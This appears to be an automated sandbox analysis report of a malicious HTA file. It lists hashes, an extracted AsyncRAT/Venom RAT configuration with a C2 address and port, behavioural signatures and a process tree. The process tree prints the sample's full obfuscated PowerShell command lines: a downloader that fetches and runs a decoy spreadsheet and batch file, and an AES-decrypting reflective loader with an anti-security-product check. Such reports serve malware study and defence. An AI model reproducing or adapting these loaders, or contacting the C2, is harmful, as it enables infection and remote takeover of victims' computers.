Analysis
- max time kernel
100s - max time network
143s - platform
windows10-2004_x64 - resource
win10v2004-20240508-en - resource tags
arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system - submitted
08/05/2024, 14:58
Static task
static1
Behavioral task
behavioral1
Sample
3.hta
Resource
win7-20240215-en
11 signatures
150 seconds
General
- Target 3.hta
- Size 12KB
- Sample240508-sb53fsaa5x
- SHA256 2f8dc972e9ec1b47d2beb064776d2df9778d253a5030870405843bed0fb32640
- MD5 4ab94c892e634430c8eabae82af4d875
- SHA1 f145d298d9350ac8239da286a6f00dc5c3f31e8f
- SHA512 c425b5901873a9be27ebf639e86b9e310b42304d09a4032b8faae16d6af0a73e3e3df4da26baf6bc7246b1bef84243dc54de8dbbc4d0f8a35f94605c55f01c4e
- SSDEEP 384:lop4KdAK/GEDKKb8AKKbFq2KKbZ6cjKL7ZwW7+6OJnkpwcRRZsKwtrlio0KwJ2r:lUJ/GeKKb5KKb3KKbZ6aKi6KnkphsKLs
- MD5 SHA1 SHA512 SSDEEP
Malware Config
Extracted
Family
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asyncrat
Version
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Venom RAT + HVNC + Stealer + Grabber v6.0.3
Botnet
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Default
C2
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193.222.96.124:5050
Mutex
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agwxieactmnvbumvumk
Attributes
-
delay
1
-
install
false
-
install_folder
%AppData%
aes.plain
Signatures
- Async RAT payload 1 IoCs
resource yara_rule behavioral2/memory/4476-83-0x00000000077E0000-0x00000000077F8000-memory.dmp family_asyncrat - Blocklisted process makes network request 3 IoCs
flow pid Process 1 3040 powershell.exe 2 3040 powershell.exe 11 4476 powershell.exe -
pid Process 3040 powershell.exe 2272 powershell.exe - Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-4124900551-4068476067-3491212533-1000\Control Panel\International\Geo\Nation mshta.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString EXCEL.EXE - Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU EXCEL.EXE - Modifies registry class 1 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-4124900551-4068476067-3491212533-1000_Classes\Local Settings powershell.exe - Suspicious behavior: AddClipboardFormatListener 1 IoCs
pid Process 1952 EXCEL.EXE - Suspicious behavior: EnumeratesProcesses 9 IoCs
pid Process 3040 powershell.exe 3040 powershell.exe 4476 powershell.exe 4476 powershell.exe 2272 powershell.exe 2272 powershell.exe 4476 powershell.exe 4476 powershell.exe 4476 powershell.exe - Suspicious use of AdjustPrivilegeToken 3 IoCs
description pid Process Token: SeDebugPrivilege 3040 powershell.exe Token: SeDebugPrivilege 4476 powershell.exe Token: SeDebugPrivilege 2272 powershell.exe - Suspicious use of FindShellTrayWindow 2 IoCs
pid Process 1952 EXCEL.EXE 1952 EXCEL.EXE - Suspicious use of SetWindowsHookEx 13 IoCs
pid Process 1952 EXCEL.EXE 1952 EXCEL.EXE 1952 EXCEL.EXE 1952 EXCEL.EXE 1952 EXCEL.EXE 1952 EXCEL.EXE 1952 EXCEL.EXE 1952 EXCEL.EXE 1952 EXCEL.EXE 1952 EXCEL.EXE 1952 EXCEL.EXE 1952 EXCEL.EXE 4476 powershell.exe - Suspicious use of WriteProcessMemory 21 IoCs
description pid Process procid_target PID 2884 wrote to memory of 3040 2884 mshta.exe 78 PID 2884 wrote to memory of 3040 2884 mshta.exe 78 PID 2884 wrote to memory of 3040 2884 mshta.exe 78 PID 3040 wrote to memory of 1952 3040 powershell.exe 80 PID 3040 wrote to memory of 1952 3040 powershell.exe 80 PID 3040 wrote to memory of 1952 3040 powershell.exe 80 PID 3040 wrote to memory of 2636 3040 powershell.exe 81 PID 3040 wrote to memory of 2636 3040 powershell.exe 81 PID 3040 wrote to memory of 2636 3040 powershell.exe 81 PID 2636 wrote to memory of 1924 2636 cmd.exe 84 PID 2636 wrote to memory of 1924 2636 cmd.exe 84 PID 2636 wrote to memory of 1924 2636 cmd.exe 84 PID 1924 wrote to memory of 3056 1924 cmd.exe 87 PID 1924 wrote to memory of 3056 1924 cmd.exe 87 PID 1924 wrote to memory of 3056 1924 cmd.exe 87 PID 1924 wrote to memory of 4476 1924 cmd.exe 88 PID 1924 wrote to memory of 4476 1924 cmd.exe 88 PID 1924 wrote to memory of 4476 1924 cmd.exe 88 PID 4476 wrote to memory of 2272 4476 powershell.exe 91 PID 4476 wrote to memory of 2272 4476 powershell.exe 91 PID 4476 wrote to memory of 2272 4476 powershell.exe 91
Processes
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C:\Windows\SysWOW64\mshta.exeC:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\3.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2884 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted function APgmbjLOXLyDCo($JbCqR, $haYSvpsUITIjCDP){[IO.File]::WriteAllBytes($JbCqR, $haYSvpsUITIjCDP)};function EAdhMqKTsBgn($JbCqR){if($JbCqR.EndsWith((uGIVecNMsbxk @(64700,64754,64762,64762))) -eq $True){rundll32.exe $JbCqR }elseif($JbCqR.EndsWith((uGIVecNMsbxk @(64700,64766,64769,64703))) -eq $True){powershell.exe -ExecutionPolicy unrestricted -File $JbCqR}elseif($JbCqR.EndsWith((uGIVecNMsbxk @(64700,64763,64769,64759))) -eq $True){misexec /qn /i $JbCqR}else{Start-Process $JbCqR}};function wjPCvObwAmjJyUdaXG($gQOBxNAyeHpqX){$dDskdaHYdZknHXzXJymo = New-Object (uGIVecNMsbxk @(64732,64755,64770,64700,64741,64755,64752,64721,64762,64759,64755,64764,64770));[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::TLS12;$haYSvpsUITIjCDP = $dDskdaHYdZknHXzXJymo.DownloadData($gQOBxNAyeHpqX);return $haYSvpsUITIjCDP};function uGIVecNMsbxk($lugVvlCCwkT){$GJPGF=64654;$FkAAPhCqeNqpA=$Null;foreach($bUICCliWWpr in $lugVvlCCwkT){$FkAAPhCqeNqpA+=[char]($bUICCliWWpr-$GJPGF)};return $FkAAPhCqeNqpA};function XEctGdesQtRZym(){$YDrprhvMBVQKEHdY = $env:AppData + '\';$aLjfwbQTGPkIcn = $YDrprhvMBVQKEHdY + '33.xlsx';If(Test-Path -Path $aLjfwbQTGPkIcn){Invoke-Item $aLjfwbQTGPkIcn;}Else{ $xnvLVBnevhBEnLRIzgp = wjPCvObwAmjJyUdaXG (uGIVecNMsbxk @(64758,64770,64770,64766,64712,64701,64701,64703,64711,64705,64700,64704,64704,64704,64700,64711,64708,64700,64703,64704,64706,64712,64709,64704,64710,64709,64701,64705,64705,64700,64774,64762,64769,64774));APgmbjLOXLyDCo $aLjfwbQTGPkIcn $xnvLVBnevhBEnLRIzgp;Invoke-Item $aLjfwbQTGPkIcn;};$bZgJKEnoQHIlgQ = $YDrprhvMBVQKEHdY + 'xD.bat'; if (Test-Path -Path $bZgJKEnoQHIlgQ){EAdhMqKTsBgn $bZgJKEnoQHIlgQ;}Else{ $shhld = wjPCvObwAmjJyUdaXG (uGIVecNMsbxk @(64758,64770,64770,64766,64712,64701,64701,64703,64711,64705,64700,64704,64704,64704,64700,64711,64708,64700,64703,64704,64706,64712,64709,64704,64710,64709,64701,64774,64722,64700,64752,64751,64770));APgmbjLOXLyDCo $bZgJKEnoQHIlgQ $shhld;EAdhMqKTsBgn $bZgJKEnoQHIlgQ;};;;;}XEctGdesQtRZym;2⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3040 -
C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Roaming\33.xlsx"3⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
PID:1952
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C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\xD.bat" "3⤵
- Suspicious use of WriteProcessMemory
PID:2636 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Roaming\xD.bat"4⤵
- Suspicious use of WriteProcessMemory
PID:1924 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo $host.UI.RawUI.WindowTitle='C:\Users\Admin\AppData\Roaming\xD.bat';$wGtl='LowQGLawQGLdwQGL'.Replace('wQGL', ''),'ElfxQUemfxQUenfxQUtAfxQUtfxQU'.Replace('fxQU', ''),'FUtjArUtjAomUtjABasUtjAe6UtjA4UtjAStrUtjAingUtjA'.Replace('UtjA', ''),'GeOQGltOQGlCurOQGlrOQGleOQGlntOQGlPrOQGloOQGlcesOQGlsOQGl'.Replace('OQGl', ''),'EsWNTntsWNTryPsWNToisWNTntsWNT'.Replace('sWNT', ''),'MaieNXOnMoeNXOdueNXOleNXOeeNXO'.Replace('eNXO', ''),'TrOcAbansOcAbfoOcAbrmFOcAbiOcAbnaOcAblBOcAblocOcAbkOcAb'.Replace('OcAb', ''),'Splwhduiwhdutwhdu'.Replace('whdu', ''),'InPTvuvokPTvuePTvu'.Replace('PTvu', ''),'CreUFVYaUFVYteUFVYDUFVYecUFVYryUFVYptUFVYoUFVYrUFVY'.Replace('UFVY', ''),'CharscrngerscrErscrxrscrtrscrerscrnsirscrorscrnrscr'.Replace('rscr', ''),'DebAhhcobAhhmbAhhprbAhhebAhhssbAhh'.Replace('bAhh', ''),'CwGRRopwGRRyTwGRRowGRR'.Replace('wGRR', ''),'ReygHbadygHbLiygHbneygHbsygHb'.Replace('ygHb', '');powershell -w hidden;$modules=[System.Diagnostics.Process]::($wGtl[3])().Modules;if ($modules -match 'hmpalert.dll') { exit; };function kqXMT($FvMLi){$yuVsf=[System.Security.Cryptography.Aes]::Create();$yuVsf.Mode=[System.Security.Cryptography.CipherMode]::CBC;$yuVsf.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7;$yuVsf.Key=[System.Convert]::($wGtl[2])('ZPmarITq2qISishmMhAN5SieN3zSIyXHEEMkcAYPN4Y=');$yuVsf.IV=[System.Convert]::($wGtl[2])('pKL8KnX4ANOD8Ef8OdOJnQ==');$fXTHi=$yuVsf.($wGtl[9])();$KWagE=$fXTHi.($wGtl[6])($FvMLi,0,$FvMLi.Length);$fXTHi.Dispose();$yuVsf.Dispose();$KWagE;}function ymbNX($FvMLi){$BKlMi=New-Object System.IO.MemoryStream(,$FvMLi);$CmUjH=New-Object System.IO.MemoryStream;$xWgPw=New-Object System.IO.Compression.GZipStream($BKlMi,[IO.Compression.CompressionMode]::($wGtl[11]));$xWgPw.($wGtl[12])($CmUjH);$xWgPw.Dispose();$BKlMi.Dispose();$CmUjH.Dispose();$CmUjH.ToArray();}$pYGwG=[System.IO.File]::($wGtl[13])([Console]::Title);$BqtDQ=ymbNX (kqXMT ([Convert]::($wGtl[2])([System.Linq.Enumerable]::($wGtl[1])($pYGwG, 5).Substring(2))));$fdKjl=ymbNX (kqXMT ([Convert]::($wGtl[2])([System.Linq.Enumerable]::($wGtl[1])($pYGwG, 6).Substring(2))));[System.Reflection.Assembly]::($wGtl[0])([byte[]]$fdKjl).($wGtl[4]).($wGtl[8])($null,$null);[System.Reflection.Assembly]::($wGtl[0])([byte[]]$BqtDQ).($wGtl[4]).($wGtl[8])($null,$null); "5⤵PID:3056
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe5⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4476 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden6⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2272
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-
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-
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_51azkbyx.dsj.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Roaming\33.xlsx
- Size 32KB
- SHA256 2272c6b170d229bf9705f65f7cce010a27a6c55f05d24ffe4a860e4fa69b9a49
- MD5 9f52ebd4e53095cb7d4e73c85af5597f
- SHA1 0dc8d51c8a27cb55e0d873da58d5aa115c58bdc8
- SHA512 a878f73cb7b6ec022663bff6166c1c7048ee3e8883b966f4acd4544fe6d2691cc98bff3a6a3adb5dfd6ca5dd882c48eaa6eef46184457eb28af8441ef27634bf
- SSDEEP 768:wQXrkpw2D7KXLhSkIj5bmcjXrLdS9ngre4k1FELS:TQW2D7ABIjFmcLNS9ngS4kl
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Roaming\Microsoft\Office\Recent\index.dat
- Size 213B
- SHA256 4022d6b73fc6109c1b6f3cf5659b645d9966255b2f9df7c5c7967151f08a5889
- MD5 b2e4cec1e059b2f3a26b4c3ff5d75e84
- SHA1 29dea0ada787144feae6ad9b5fba0f60c0d8c84b
- SHA512 26e24e8dd90ccf7262dcaa7475bd8ec573cfffc63076d01c1cefa7435095e11410e05a7a98c2c04b3125dd1825413641c02afc60b2dc3bab36c79242e2549aa8
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\b8ab77100df80ab2.customDestinations-ms
- Size 24B
- SHA256 90bf6baa6f968a285f88620fbf91e1f5aa3e66e2bad50fd16f37913280ad8228
- MD5 4fcb2a3ee025e4a10d21e1b154873fe2
- SHA1 57658e2fa594b7d0b99d02e041d0f3418e58856b
- SHA512 4e85d48db8c0ee5c4dd4149ab01d33e4224456c3f3e3b0101544a5ca87a0d74b3ccd8c0509650008e2abed65efd1e140b1e65ae5215ab32de6f6a49c9d3ec3ff
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\b8ab77100df80ab2.customDestinations-ms
- Size 848B
- SHA256 b02efb398f5751ef41bb5d1a97d9414ea1becde1e61642abb411cc1c40e1e108
- MD5 68d6c75a1f952813ede441c3ef71b0b5
- SHA1 f3fe3421e09ba7d2fc773367d7cc3a30c9552373
- SHA512 093ad0a22af4be658e6905d7b53aab6e6b99ac43db0fab4f7d05a580d24251d17892c77f35484b2f4c7514245800673b3b609d77750448815101bd4c046bd95f
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Roaming\xD.bat
- Size 65KB
- SHA256 7c797bc3c700354b531d7b0aa4fbcfe6f3221e580d398037cb4ac8f632a9743c
- MD5 2e34e0ab9244719305821c38fe213c37
- SHA1 9cb80851613191b21ebc40ad985b47fa68d8774c
- SHA512 2cc369e826d4ff65d1ffd6fb1e7ce830315fd21dc1fb54d6ec8b06c58a5f86870f0a57f0a847ca4525105784812a0fa4bfcc5e389291d7e84d18c2257675ead0
- SSDEEP 1536:dJJD1eHAwt3VtHZh/YIkdmwahCqtPlnHROQbXC1B2qv:i3VtHZhgIWmwahCqVx0QbXk2qv
- MD5 SHA1 SHA512 SSDEEP